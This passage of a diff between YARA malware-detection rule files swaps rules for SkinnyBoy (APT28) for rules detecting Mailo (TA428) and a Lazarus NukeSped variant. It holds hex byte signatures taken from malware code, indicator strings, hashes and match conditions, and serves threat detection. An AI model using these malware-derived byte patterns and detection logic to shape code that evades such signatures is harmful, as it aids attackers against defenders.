e8 48 89 c7 e8 92 ed ff ff 48 83 c0 01 48 89 c7 e8 c6 ee ff ff 48 89 45 f8 48 83 7d f8 00 74 3a 48 8b 55 e8 48 8b 45 f8 48 89 d6 48 89 c7 e8 f8 ec ff ff 48 8b 45 f8 48 89 c7 e8 12 fd ff ff 48 8b 45 f8 48 89 c7 e8 90 ec ff ff b8 00 00 00 00 e8 95 fc ff ff } - $seq3 = { e5 41 55 41 54 53 48 81 ec 18 18 00 00 c7 45 dc 00 00 00 00 48 c7 45 d0 00 00 00 00 bf 00 00 00 00 e8 13 fd ff ff 89 c7 e8 7c fc ff ff e8 d7 fd ff ff 41 89 c5 e8 cf fd ff ff 41 89 c4 e8 c7 fd ff ff 89 c3 e8 c0 fd ff ff 89 c2 48 8d 85 d0 e7 ff ff 4d 89 e9 4d 89 e0 48 89 d9 48 8d 35 bf 0a 02 00 48 89 } + $com1 = "state->_reprocess_current_token || token.type != GUMBO_TOKEN_START_TAG || token.v.start_tag.attributes.data == NULL" fullword wide + $com2 = "fragment_ctx != GUMBO_TAG_LAST" fullword wide + $com3 = "has_matching_a == 1" fullword wide + $com4 = "ODFA: %u %d %u" fullword ascii + $com5 = "Custom browser path is empty." fullword ascii + $com6 = "Default browser path is:" fullword ascii + $com7 = "Search for browser path." fullword ascii + $com8 = "Cant retrieve any path." fullword ascii + $com9 = "Custom browser path is:" fullword ascii + $jmp1 = { 2e 64 6c 6c 00 55 4d 45 50 00 56 46 45 50 } + $jmp2 = { 33 c9 e9 ?? ?? ff ff cc cc cc cc cc cc cc cc cc } + $seq1 = { 40 55 48 8d ac 24 00 fd ff ff 48 81 ec 00 04 00 00 48 8b 05 80 46 1b 00 48 33 c4 48 89 85 d0 02 00 00 b9 d8 02 00 00 e8 f4 8b 07 00 4c 8b 0d c5 a5 1c 00 48 8d 95 00 01 00 00 4c 8b 05 af a5 1c 00 48 8d 0d c8 9d 1c 00 4d 2b c8 48 89 05 ae 8a 1d 00 e8 a9 7e fc ff 48 83 bd 18 01 00 00 10 48 8d 8d 00 01 00 00 48 0f 43 8d 00 01 00 00 ff 15 24 f3 0c 00 48 8b 15 25 f3 0c 00 48 8b c8 e8 6d 59 fb ff 48 8b 95 18 01 00 00 48 83 fa 10 } + $seq2 = { 41 8b 41 08 83 e8 09 83 f8 08 } + $seq3 = { 48 8b 03 48 8b cb ff 50 08 48 8b 95 f8 01 00 00 48 83 fa 08 72 39 48 8b 8d e0 } + $seq4 = { b8 09 00 00 00 44 88 a5 60 01 00 00 48 8d 8d 60 01 00 00 f3 0f 7f 85 70 01 00 00 e8 c1 19 fc ff ba df 5e ca 76 48 8d 4d 50 e8 63 ea fc ff 48 8b c8 48 8d 95 60 01 00 00 e8 c4 cb ff ff 0f b6 15 dd 8b 1c 00 48 8b c8 e8 35 cd ff ff 48 8b 95 78 01 00 00 48 83 fa 10 72 34 } condition: - uint16( 0 ) == 0x457f and filesize > 80KB and 3 of ( $dbg* ) and 4 of ( $lib* ) and 2 of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 1000KB and 6 of ( $com* ) and all of ( $jmp* ) and 3 of ( $seq* ) } -rule ARKBIRD_SOLG_MAL_Skinnyboy_Implant_Jun_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Mailo_Jun_2021_1 : FILE { meta: - description = "Detect SkinnyBoy Implant" + description = "Detect the Mach-O malware" author = "Arkbird_SOLG" - id = "2c78e0f3-a0b3-56fb-b4d2-313c03f1331b" - date = "2021-06-05" - modified = "2021-06-06" - reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Implant_Jun_2021_1.yara#L1-L19" + id = "4c975200-fce4-5a2a-b565-6d397c4e0b1c" + date = "2021-06-09" + modified = "2021-06-21" + reference = "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-19/MAIL-O/MAL_MailO_Jun_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "37d6b03adaad0a97e91a366d8e5ce47bc0eb77263849422129edf9df28d25bd8" + logic_hash = "165c5fd90039c14ef1fa1e80bb7f14761e991b09560c5f1da2ddf9a0eadee623" score = 75 quality = 75 tags = "FILE" - hash1 = "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698" + hash1 = "3a77f108e32b34e184f9ade66292cd73abbd297b4829ba63a973a400cc7f3f9f" + hash2 = "603881f4c80e9910ab22f39717e8b296910bff08cd0f25f78d5bff1ae0dce5d7" tlp = "White" - adversary = "APT28" + adversary = "TA428" strings: - $s1 = { 55 8b ec 81 ec 48 01 00 00 a1 00 00 01 10 33 c5 89 45 fc 53 56 57 6a 00 6a 00 6a 00 8b c2 6a 00 68 6c ef 00 10 89 85 d0 fe ff ff 89 8d cc fe ff ff 89 85 e4 fe ff ff c7 85 c0 fe ff ff 01 00 00 00 c7 85 d8 fe ff ff 00 00 00 00 c7 85 dc fe ff ff 00 00 00 00 ff 15 e4 b1 00 10 8b 1d a4 b0 00 10 8b f0 89 b5 d4 fe ff ff ff d3 8b 3d d4 b1 00 10 85 f6 74 26 6a 04 8d 85 ec fe ff ff 50 6a 06 56 c7 85 ec fe ff ff c0 27 09 00 ff d7 6a 04 8d 85 ec fe ff ff 50 6a 05 56 ff d7 ff d3 85 f6 74 22 6a 01 6a 00 6a 03 6a 00 6a 00 68 bb 01 00 00 ff b5 cc fe ff ff 56 ff 15 cc b1 00 10 89 85 d8 fe ff ff ff d3 8b 4d 08 8b 3d e8 b1 00 10 81 f9 00 00 a0 00 0f 83 a7 01 00 00 68 03 01 00 00 8d 85 f1 fe ff ff 6a 00 50 c6 85 f0 fe ff ff 00 e8 3c 33 00 00 83 c4 0c ba 01 00 00 00 6a 00 6a 01 8d 8d f0 fe ff ff e8 55 f7 ff ff 83 c4 08 8d 55 08 8d 8d e4 fe ff ff e8 94 f6 ff ff 8d bd f0 fe ff ff 8d 4f 01 8a 07 47 84 c0 75 f9 8b 75 08 2b f9 8d 04 37 50 6a 08 89 85 e0 fe ff ff ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 57 8d 8d f0 fe ff ff 51 50 89 85 d0 fe ff ff e8 62 6e 00 00 8b 85 d0 fe ff ff 83 c4 0c 03 c7 56 8b b5 e4 fe ff ff 56 50 e8 49 6e 00 00 83 c4 0c 56 6a 00 ff 15 b4 b0 00 10 50 a1 b8 b0 00 10 ff d0 57 8d 85 f0 fe ff ff 6a 00 50 e8 96 32 00 00 83 c4 0c 8d 8d d4 fe ff ff 6a 01 ff b5 e0 fe ff ff ff b5 d0 fe ff ff e8 8a f3 ff ff 85 c0 0f 84 7c 03 00 00 8b 85 d4 fe ff ff 8b 3d e8 b1 00 10 85 c0 74 03 50 ff d7 8b 85 d8 fe ff ff 85 } - $s2 = { 33 d2 8b c1 b9 00 00 20 00 f7 f1 33 c9 89 8d e4 fe ff ff 3b ca 89 95 b8 fe ff ff 1b d2 f7 da 03 d0 89 95 c4 fe ff ff 0f 84 98 02 00 00 8b ff 8b b5 b8 fe ff ff 85 f6 74 09 8d 42 ff 8b fe 3b c8 74 05 bf 00 00 20 00 57 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 8b 8d e4 fe ff ff 0f af cf 03 8d d0 fe ff ff 57 8b f0 51 56 89 b5 ec fe ff ff e8 c9 6c 00 00 83 c4 0c 8d 85 f1 fe ff ff 68 03 01 00 00 6a 00 50 c6 85 f0 fe ff ff 00 e8 1c 31 00 00 8b 85 e4 fe ff ff 83 c4 0c 40 6a 00 ff b5 c4 fe ff ff 8b d0 8d 8d f0 fe ff ff 89 85 e4 fe ff ff e8 27 f5 ff ff 83 c4 08 8d 85 e0 fe ff ff 50 6a 00 6a 01 57 56 c7 85 e0 fe ff ff 00 00 00 00 ff 15 24 b0 00 10 85 c0 74 4c ff b5 e0 fe ff ff 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 8b f0 8d 85 e0 fe ff ff 50 56 6a 01 57 8b bd ec fe ff ff 57 ff 15 24 b0 00 10 57 6a 00 ff 15 b4 b0 00 10 50 a1 b8 b0 00 10 ff d0 8b bd e0 fe ff ff 89 b5 ec fe ff ff 8d b5 f0 fe ff ff 8d 4e 01 8a 06 46 84 c0 75 f9 2b f1 8d 04 3e 50 6a 08 89 85 c8 fe ff ff ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 56 8d 8d f0 fe ff ff 51 50 89 85 bc fe ff ff e8 d8 6b 00 00 8b 8d bc fe ff ff 83 c4 0c 03 ce 57 8b bd ec fe ff ff 57 51 e8 bf 6b 00 00 83 c4 0c 57 6a 00 ff 15 b4 b0 00 10 50 ff 15 b8 b0 00 10 56 8d 85 f0 fe ff ff 6a 00 50 e8 0d 30 00 00 8b b5 c0 fe ff ff 8b bd bc fe ff ff 83 c4 0c 8d 8d d4 fe ff ff 56 ff b5 c8 fe ff ff 57 e8 fb f0 ff ff 85 c0 0f 84 c9 00 00 00 85 f6 0f 84 c1 00 00 00 8b 85 d4 fe ff ff 8b 35 e8 b1 00 10 85 } - $s3 = { 55 8b ec 83 e4 f8 81 ec 34 02 00 00 a1 00 00 01 10 33 c4 89 84 24 30 02 00 00 53 56 57 6a ff ff 35 28 1b 01 10 ff 15 4c b0 00 10 ff 35 28 1b 01 10 ff 15 80 b0 00 10 8b 35 b8 b0 00 10 8b 3d b4 b0 00 10 8d 44 24 10 50 8d 54 24 10 c7 44 24 10 00 00 00 00 c7 44 24 14 00 00 00 00 e8 df 0a 00 00 8b 4c 24 14 83 c4 04 85 c9 0f 84 e6 02 00 00 8b 54 24 0c 33 c0 33 db c7 44 24 20 00 00 00 00 89 44 24 1c 85 c9 0f 84 c2 02 00 00 8d 64 24 00 8b 34 13 8d 04 13 56 6a 08 ff d7 50 ff 15 ec b0 00 10 8b c8 8b 44 24 0c 83 c0 04 56 03 c3 50 51 89 4c 24 24 e8 a7 7e 00 00 8b 44 24 18 03 c3 83 c4 0c 8b 44 06 04 50 6a 08 89 44 24 1c ff d7 50 ff 15 ec b0 00 10 ff 74 24 14 8b f8 8b 44 24 10 03 c3 83 c6 08 03 c6 50 57 e8 72 7e 00 00 83 c4 0c 68 04 01 00 00 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 68 00 00 00 f0 6a 18 6a 00 8b f0 6a 00 8d 44 24 34 50 c7 44 24 38 00 00 00 00 c7 44 24 3c 00 00 00 00 ff 15 18 b0 00 10 } - $s4 = { ff 15 a4 b0 00 10 8d 44 24 28 50 6a 00 6a 00 68 0c 80 00 00 ff 74 24 34 ff 15 14 b0 00 10 ff 15 a4 b0 00 10 6a 00 ff 74 24 18 57 ff 74 24 34 ff 15 0c b0 00 10 ff 15 a4 b0 00 10 6a 00 8d 44 24 30 50 56 6a 02 ff 74 24 38 c7 44 24 40 04 01 00 00 ff 15 10 b0 00 10 ff 74 24 28 ff 15 00 b0 00 10 6a 00 ff 74 24 28 ff 15 04 b0 00 10 8b 54 24 2c 8b 44 24 18 } - $s5 = { 50 68 04 01 00 00 ff 15 a8 b0 00 10 8d 44 24 30 50 ff 15 a0 b1 00 10 68 18 ee 00 10 8d 44 24 34 50 ff 15 9c b0 00 10 b8 4d 5a 00 00 66 39 07 0f 85 b2 00 00 00 6a 00 68 80 00 00 00 6a 04 6a 00 6a 02 68 00 00 00 40 8d 44 24 48 50 ff 15 40 b0 00 10 8b f0 ff 15 a4 b0 00 10 83 fe } - $s6 = { 6a 00 8d 44 24 28 50 ff 74 24 1c c7 44 24 30 00 00 00 00 57 56 ff 15 38 b0 00 10 56 ff 15 44 b0 00 10 68 80 00 00 00 8d 44 24 34 50 ff 15 48 b0 00 10 8d 44 24 30 50 ff 15 a4 b1 00 10 85 c0 74 2d 8d 44 24 30 50 ff 15 b0 b0 00 10 8b f0 6a 01 56 ff 15 a0 b0 00 10 8d 4c 24 20 51 a3 20 1b 01 10 ff d0 56 89 44 24 20 ff 15 f4 b0 00 10 e8 ad f3 ff ff 57 8b 3d b4 b0 00 10 6a 00 ff d7 8b 35 b8 b0 00 10 50 ff d6 ff 74 24 18 6a 00 ff d7 50 ff d6 8b 44 24 1c 85 c0 74 12 8b 54 24 20 50 b9 4c ef 00 10 e8 77 0c 00 00 83 c4 04 8b 54 24 0c 8b 0c 13 8d 04 13 8d 04 19 83 c3 08 8b 44 10 04 03 c1 03 d8 3b 5c 24 10 0f 82 42 fd ff ff 52 6a 00 ff d7 50 ff d6 68 00 dd 6d 00 ff 35 28 1b 01 10 ff 15 4c b0 00 10 85 c0 0f 85 d4 fc ff ff } + $seq1 = { 48 8b ce e8 9e 0c f9 ff 48 8b 5c 24 20 48 8b 4c 24 28 49 8b d7 41 ff c5 ff 15 20 72 08 00 4c 8b f8 48 85 c0 0f 85 4c ff ff ff 48 8b b4 24 88 00 00 00 48 8b 4c 24 28 33 d2 ff 15 f7 71 08 00 4c 8b ac 24 90 00 00 00 4d 85 e4 0f 84 7f 01 00 00 48 8b ac 24 80 00 00 00 4d 8b c4 48 8b cd 48 8b d6 ff 53 48 49 8b cc 8b f0 e8 88 2c f8 ff 4c 8b bc 24 98 00 00 00 85 c0 0f 8e fb 00 00 00 0f 1f 84 00 00 00 00 00 41 8b d6 49 8b cc e8 95 2e f8 ff 48 8b f8 44 3b f6 75 75 49 89 07 e9 c4 00 00 00 48 8b 5c 24 20 45 33 c0 48 8b ce 41 8d 50 01 e8 a1 4b f9 ff 85 c0 0f 84 43 ff ff ff 49 8b d7 48 8b cb e8 ce e7 ff ff 48 8b d8 48 85 c0 0f 84 2c ff ff ff 49 8b cf ff 15 71 71 08 00 8b 15 ff e0 12 00 4c 8b c3 48 8b ce 48 89 03 e8 45 0c f9 ff 4d 85 e4 75 08 e8 2b 2b f8 ff 4c 8b e0 48 8b d6 49 8b cc e8 cd 2c f8 ff e9 fa fe ff ff 8b 15 ce e0 12 00 48 8b cf e8 ca 0b f9 ff 48 8b d8 48 85 c0 74 39 48 8b 48 10 ff 15 d8 70 08 00 48 8b 4b 08 33 d2 ff 15 d4 70 08 00 48 8b 0b 48 85 c9 74 06 ff 15 0e 71 08 00 41 b8 3a 06 00 00 48 8d 15 b1 71 0d 00 } + $seq2 = { 4c 8d 84 24 d0 00 00 00 4c 89 b4 24 90 01 00 00 48 8d 15 d8 a2 17 00 48 8b cd e8 50 e1 ff ff 8b 44 24 40 83 f8 02 74 05 83 f8 17 75 0c 83 7c 24 44 01 75 05 41 b6 01 eb 03 45 32 f6 48 8b 5c 24 28 45 84 f6 74 14 f6 85 74 0e 00 00 08 74 0b 48 8b d3 48 8b ce e8 15 03 00 00 48 8b cb e8 5d f4 ff ff 45 84 f6 74 17 f7 85 74 0e 00 00 00 10 00 00 74 0b 48 8b d3 48 8b cd e8 d1 01 00 00 48 83 bd 38 07 00 00 00 74 33 b2 01 48 8b cd e8 1d f1 fe ff 48 8b 8d 40 07 00 00 45 33 c0 48 8b d3 ff 95 38 07 00 00 33 d2 48 8b cd 44 8b f0 e8 fd f0 fe ff 41 83 fe 02 75 51 41 b4 01 8b 44 24 40 83 f8 02 74 05 83 f8 17 75 5a 48 8d 4c 24 50 e8 ac 81 02 00 44 8b 44 24 40 44 8b c8 48 8b d3 48 8b ce e8 d9 f8 ff ff 8b f8 85 c0 74 37 48 8b d3 48 8b ce e8 68 eb ff ff b8 07 00 00 00 83 ff 01 0f 44 f8 } + $seq3 = { 48 8b d0 48 8d 4d 80 41 ff d4 48 8b cb ff 15 f2 fa 1e 00 48 8d 95 e0 00 00 00 48 8d 4d 80 41 ff d7 f6 47 3c 02 48 8d 8d 90 00 00 00 48 0f 44 4c 24 50 e8 f6 04 00 00 4c 8b f0 48 85 c0 0f 84 05 fe ff ff 48 8b 47 28 49 8b d6 4c 8b 0f 4c 8b 47 10 48 85 c0 74 53 48 8d 8d e0 00 00 00 48 89 4c 24 40 48 8d 0d 94 90 15 00 48 89 44 24 38 8b 47 38 89 44 24 30 48 8b 47 08 48 89 44 24 28 48 8b 44 24 58 48 89 44 24 20 e8 e0 42 fc ff 48 8b 4f 28 48 8d 15 b9 8e 15 00 48 8b d8 e8 3d 7a fd ff 85 c0 74 2a ff 47 38 eb 25 48 8d 85 e0 00 00 00 48 89 44 24 28 48 8d 0d a1 90 15 00 48 8b 44 24 58 48 89 44 24 20 e8 a2 42 fc ff 48 8b d8 49 8b ce ff 15 2e fa 1e 00 48 85 db 0f 84 68 fd ff ff 4c 8b 47 20 4d 85 c0 74 27 48 8b d3 48 8d 0d aa 90 15 00 e8 75 42 fc ff 48 8b cb 4c 8b f0 ff 15 01 fa 1e 00 4d 85 f6 0f 84 3b fd ff ff 49 8b de 4c 8b 47 30 4d 85 c0 74 27 48 8b d3 48 8d 0d 8a 90 15 00 e8 45 42 fc ff 48 8b cb 4c 8b f0 ff 15 d1 f9 1e 00 4d 85 f6 0f 84 0b fd ff ff 49 8b de f6 47 3c 02 74 27 48 8b d3 48 8d 0d 75 90 15 00 e8 18 42 fc ff 48 8b cb 48 8b f8 ff 15 a4 f9 1e 00 48 } + $seq4 = { 48 81 ec 08 03 00 00 48 8b 05 e2 61 23 00 48 33 c4 48 89 84 24 f0 02 00 00 33 d2 48 8d 8c 24 e0 00 00 00 41 b8 08 02 00 00 e8 c2 f5 16 00 41 b8 04 01 00 00 48 8d 94 24 e0 00 00 00 48 8d 0d c5 94 21 00 ff 15 07 ee 18 00 48 8d 8c 24 e0 00 00 00 ff 15 d1 ef 18 00 85 c0 74 63 33 d2 48 8d 4c 24 70 44 8d 42 68 e8 85 f5 16 00 b8 05 00 00 00 c7 44 24 70 68 00 00 00 66 89 84 24 b0 00 00 00 48 8d 8c 24 e0 00 00 00 48 8d 44 24 50 45 33 c9 48 89 44 24 48 45 33 c0 48 8d 44 24 70 33 d2 48 89 44 24 40 33 c0 48 89 44 24 38 48 89 44 24 30 89 44 24 28 89 44 24 20 ff 15 52 ed 18 00 48 8b 8c 24 f0 02 00 00 48 33 cc e8 c2 cf 16 00 48 } + $seq5 = { 48 89 74 24 48 48 8d 0d 99 5e 18 00 4c 89 74 24 50 48 8b d5 4c 89 7c 24 58 e8 5f 13 17 00 4c 8d b7 0c 08 00 00 49 63 06 85 c0 0f 84 b0 00 00 00 48 8b c8 48 c1 e1 03 ff 15 a8 5f 22 00 48 8b f0 48 85 c0 0f 84 04 01 00 00 45 33 ff ba 00 01 00 00 41 8b df 90 48 8b 07 48 85 c0 74 16 4c 39 78 28 74 08 8b cb ff c3 48 89 04 ce 48 8b 00 48 85 c0 75 ea 48 83 c7 08 48 83 ea 01 75 d8 49 63 16 4c 8d 0d ce 01 00 00 41 b8 08 00 00 00 48 8b ce e8 c0 14 17 00 85 db 74 3e 4c 8b f6 49 8b 0e e8 c1 03 00 00 48 8b f8 48 8b cd 48 85 c0 0f 84 85 00 00 00 4c 8b c0 48 8d 15 58 5a 18 00 e8 33 a8 ff ff 48 8b cf ff 15 22 5f 22 00 41 ff c7 49 83 c6 08 44 } condition: - uint16( 0 ) == 0x5a4d and filesize > 40KB and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 300KB and 4 of ( $seq* ) } -rule ARKBIRD_SOLG_MAL_Skinnyboy_Dropper_Jun_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Lazarus_Jun_2021_1 : FILE { meta: - description = "Detect SkinnyBoy Dropper" + description = "Detect a variant of NukeSped malware" author = "Arkbird_SOLG" - id = "1ea4cfe7-d44d-5cdb-8436-cb2b09dd2e56" - date = "2021-05-01" - modified = "2021-06-06" - reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Dropper_Jun_2021_1.yara#L1-L19" + id = "0f5d42c0-d6dc-573b-9227-787ccbcaa83d" + date = "2021-06-19" + modified = "2021-06-21" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-19/Lazarus/APT_Lazarus_Jun_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "805bc5bb5833a75d68df2a6ce828d70b2257809a3699fdca5e621aae6bdc5070" + logic_hash = "ea4ce93d54b9b8e5d1d5bb64d37ac26839e2fa3200da3057597d83c4be6d129f" score = 75 - quality = 73 + quality = 75 tags = "FILE" - hash1 = "12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9" + hash1 = "5c2f339362d0cd8e5a8e3105c9c56971087bea2701ea3b7324771b0ea2c26c6c" + hash2 = "2dff6d721af21db7d37fc1bd8b673ec07b7114737f4df2fa8b2ecfffbe608a00" + hash3 = "1177105e51fa02f9977bd435f9066123ace32b991ed54912ece8f3d4fbeeade4" tlp = "White" - adversary = "APT28" + adversary = "Lazarus" strings: - $s1 = { 55 8b ec b8 48 12 00 00 e8 a3 52 00 00 a1 00 d0 40 00 33 c5 89 45 fc 56 57 68 08 02 00 00 8d 85 cc ed ff ff 50 51 ff 15 2c 80 40 00 6a 00 68 80 00 00 00 6a 03 6a 00 6a 01 68 00 00 00 80 8d 85 cc ed ff ff 50 c7 85 b8 ed ff ff 00 00 00 00 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b f8 83 fe ff 74 12 6a 00 56 ff 15 58 80 40 00 56 8b f8 ff 15 20 80 40 00 8d 85 c8 ed ff ff 50 8d 95 b8 ed ff ff 8d 8d cc ed ff ff 89 bd c8 ed ff ff e8 bc fd ff ff 8b bd b8 ed ff ff b8 4d 5a 00 00 83 c4 04 66 39 07 74 1b 68 c1 00 00 00 ff 15 34 80 40 00 5f 5e 8b 4d fc 33 cd e8 fe 08 00 00 8b e5 } - $s2 = { 8b 47 3c 81 3c 07 50 45 00 00 75 d9 8b 47 1c 8b b5 c8 ed ff ff 8b 4f 20 2b f0 85 c9 74 04 8b f1 2b f0 53 56 6a 08 ff 15 0c 80 40 00 50 ff 15 08 80 40 00 8b 4f 1c 56 03 cf 8b d8 51 53 89 9d c4 ed ff ff e8 96 5d 00 00 68 08 02 00 00 8d 85 f4 f9 ff ff 6a 00 50 e8 33 25 00 00 83 c4 18 8d 85 f4 f9 ff ff 50 6a 00 6a 00 68 1c 80 00 00 6a 00 ff 15 30 81 40 00 b8 18 00 00 00 68 ee 00 00 00 66 89 85 0c fc ff ff 8d 85 0e fc ff ff 6a 00 50 c7 85 fc fb ff ff 00 00 3f 00 c7 85 00 fc ff ff 47 00 5b 00 c7 85 04 fc ff ff 09 00 19 00 c7 85 08 fc ff ff 08 00 0d 00 e8 d1 24 00 00 f3 0f 7e 05 c4 bd 40 00 a1 d4 bd 40 00 68 ec 00 00 00 89 85 0c ff ff ff 66 0f d6 85 fc fe ff ff f3 0f 7e 05 cc bd 40 00 8d 85 10 ff ff ff 6a 00 50 66 0f d6 85 04 ff ff ff e8 93 24 00 00 83 c4 18 33 } - $s3 = { 0f b7 8c 05 fc fe ff ff 66 31 8c 05 fc fb ff ff 0f b7 8c 05 fe fe ff ff 66 31 8c 05 fe fb ff ff 0f b7 8c 05 00 ff ff ff 66 31 8c 05 00 fc ff ff 0f b7 8c 05 02 ff ff ff 66 31 8c 05 02 fc ff ff 83 c0 08 3d 00 01 00 00 72 b6 8d 85 f4 f9 ff ff 50 ff 15 38 81 40 00 8d 85 fc fb ff ff 50 8d 85 f4 f9 ff ff 50 ff 15 40 80 40 00 6a 00 8d 85 f4 f9 ff ff 50 ff 15 28 80 40 00 68 d8 00 00 00 8d 85 24 fe ff ff 6a 00 50 c7 85 fc fd ff ff 1f 00 33 00 c7 85 00 fe ff ff 58 00 4e 00 c7 85 04 fe ff ff 5d 00 1b 00 c7 85 08 fe ff ff 59 00 27 00 c7 85 0c fe ff ff 70 00 2d 00 c7 85 10 fe ff ff 16 00 13 00 c7 85 14 fe ff ff 03 00 1c 00 c7 85 18 fe ff ff 0d 00 2a 00 c7 85 1c fe ff ff 07 00 51 00 c7 85 20 fe ff ff 08 00 13 00 e8 8f 23 00 00 f3 0f 7e 05 d8 bd 40 00 66 a1 00 be 40 00 66 0f d6 85 fc fe ff ff f3 0f 7e 05 e0 bd 40 00 66 0f d6 85 04 ff ff ff f3 0f 7e 05 e8 bd 40 00 66 0f d6 85 0c ff ff ff f3 0f 7e 05 f0 bd 40 00 68 d6 00 00 00 66 89 85 24 ff ff ff 66 0f d6 85 14 ff ff ff f3 0f 7e 05 f8 bd 40 00 8d 85 26 ff ff ff 6a 00 50 66 0f d6 85 1c ff ff ff e8 1f 23 00 00 83 c4 18 33 } - $s4 = { 0f b7 84 0d fc fe ff ff 66 31 84 0d fc fc ff ff 0f b7 84 0d fe fe ff ff 66 31 84 0d fe fc ff ff 0f b7 84 0d 00 ff ff ff 66 31 84 0d 00 fd ff ff 0f b7 84 0d 02 ff ff ff 66 31 84 0d 02 fd ff ff 83 c1 08 81 f9 00 01 00 00 72 b5 8d 85 f4 f9 ff ff 50 ff 15 38 81 40 00 8d 85 fc fc ff ff 50 8d 85 f4 f9 ff ff 50 ff 15 40 80 40 00 6a 00 6a 00 8d 85 c0 ed ff ff 50 6a 00 6a 01 56 53 8b 1d 00 80 40 00 c7 85 c0 ed ff ff 00 00 00 00 ff d3 ff b5 c0 ed ff ff 6a 08 ff 15 0c 80 40 00 50 ff 15 08 80 40 00 6a 00 6a 00 8d 8d c0 ed ff ff 51 50 6a 01 56 ff b5 c4 ed ff ff 89 85 bc ed ff ff ff d3 8b 85 c0 ed ff ff 6a 00 68 80 00 00 00 6a 04 6a 00 6a 02 89 85 b8 ed ff ff 68 00 00 00 40 8d 85 f4 f9 ff ff 50 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b 1d 38 80 40 00 83 fe ff 74 55 3d b7 00 00 00 75 0b 6a 00 6a 00 6a 00 56 ff } - $s5 = { 55 8b ec 83 ec 0c a1 00 d0 40 00 33 c5 89 45 fc 53 8b 5d 08 56 57 6a 00 68 80 00 00 00 6a 03 6a 00 6a 01 68 00 00 00 80 51 89 55 f4 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b f8 83 fe ff 74 67 83 ff 02 74 62 6a 00 56 ff 15 58 80 40 00 89 03 85 c0 74 47 c7 45 f8 00 00 00 00 ff 15 0c 80 40 00 ff 33 6a 08 50 ff 15 08 80 40 00 8b 4d f4 6a 00 89 01 8d 4d f8 51 ff 33 50 56 ff 15 14 80 40 00 56 ff 15 20 80 40 00 8b c7 5f 5e 5b 8b 4d fc 33 cd e8 d4 0a 00 00 8b e5 } - $s6 = { 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f } + $seq1 = { 48 8b ce e8 8a 2c 00 00 48 8b d8 48 85 c0 0f 84 28 06 00 00 4c 8b c6 33 d2 48 8b c8 e8 11 56 00 00 8d 4e fc 48 8d 57 04 4c 63 c1 48 8b cb e8 af 3a 00 00 33 c0 48 8d 4c 24 30 48 89 4c 24 28 45 33 c9 4c 8b c3 33 d2 33 c9 89 44 24 30 89 44 24 20 ff 15 4b 49 01 00 48 85 c0 0f 84 d4 05 00 00 ba 88 13 00 00 48 8b c8 ff 15 9c 2c 02 00 48 8d 8d 91 00 00 00 33 d2 41 b8 ff 03 00 00 c6 85 90 00 00 00 00 e8 a9 55 00 00 48 8d 15 02 c1 01 00 48 8d 8d 90 00 00 00 e8 16 2b 00 00 48 8d 85 90 00 00 00 48 83 cb ff 48 ff c3 80 3c 18 00 75 f7 41 b2 84 ba 43 90 21 57 41 b8 c2 a2 a9 09 85 db 0f 8e 4b 05 00 00 4c 8d 8d 90 00 00 00 44 8b db 66 90 41 0f b6 01 41 0f b6 c8 4d 8d 49 01 32 ca 41 32 c2 44 22 d1 41 32 c0 42 8d 0c c5 00 00 00 00 32 c2 41 33 c8 41 88 41 ff 81 e1 f8 07 00 00 41 0f b6 c0 22 c2 c1 e1 14 44 32 d0 41 8b c0 44 8b c1 c1 e8 08 8d 0c 12 33 ca 44 0b c0 8b c2 c1 e1 04 c1 e0 07 33 ca 83 e1 80 33 c8 8b c2 c1 e1 11 c1 e8 08 8b d1 0b d0 49 ff } + $seq2 = { 48 8d ac 24 50 ff ff ff 48 81 ec b0 01 00 00 48 8b 05 82 09 02 00 48 33 c4 48 89 85 a0 00 00 00 44 8b 25 d5 38 02 00 4c 8b f9 48 8d 4d 91 33 d2 41 b8 03 01 00 00 c6 45 90 00 e8 59 66 00 00 b9 3c 00 00 00 ff 15 f6 3c 02 00 ff 15 88 59 01 00 8b c8 e8 51 42 00 00 e8 20 42 00 00 b9 3c 00 00 00 8b d8 83 e3 03 83 c3 08 ff 15 d1 3c 02 00 ff 15 63 59 01 00 8b c8 e8 2c 42 00 00 e8 fb 41 00 00 b9 3c 00 00 00 8b f8 83 e7 01 83 c7 05 ff 15 ac 3c 02 00 ff 15 3e 59 01 00 8b c8 e8 07 42 00 00 e8 d6 41 00 00 8b f0 b8 ab aa aa aa f7 e6 d1 ea 8d 0c 52 2b f1 83 eb 08 0f 84 30 03 00 00 ff cb 0f 84 68 02 00 00 ff cb 0f 84 9a 01 00 00 ff cb 0f 85 ef 04 00 00 8d 4b 3c ff 15 60 3c 02 00 ff 15 f2 58 01 00 8b c8 e8 bb 41 00 00 e8 8a 41 00 00 8b d8 b8 1f 85 eb 51 f7 e3 c1 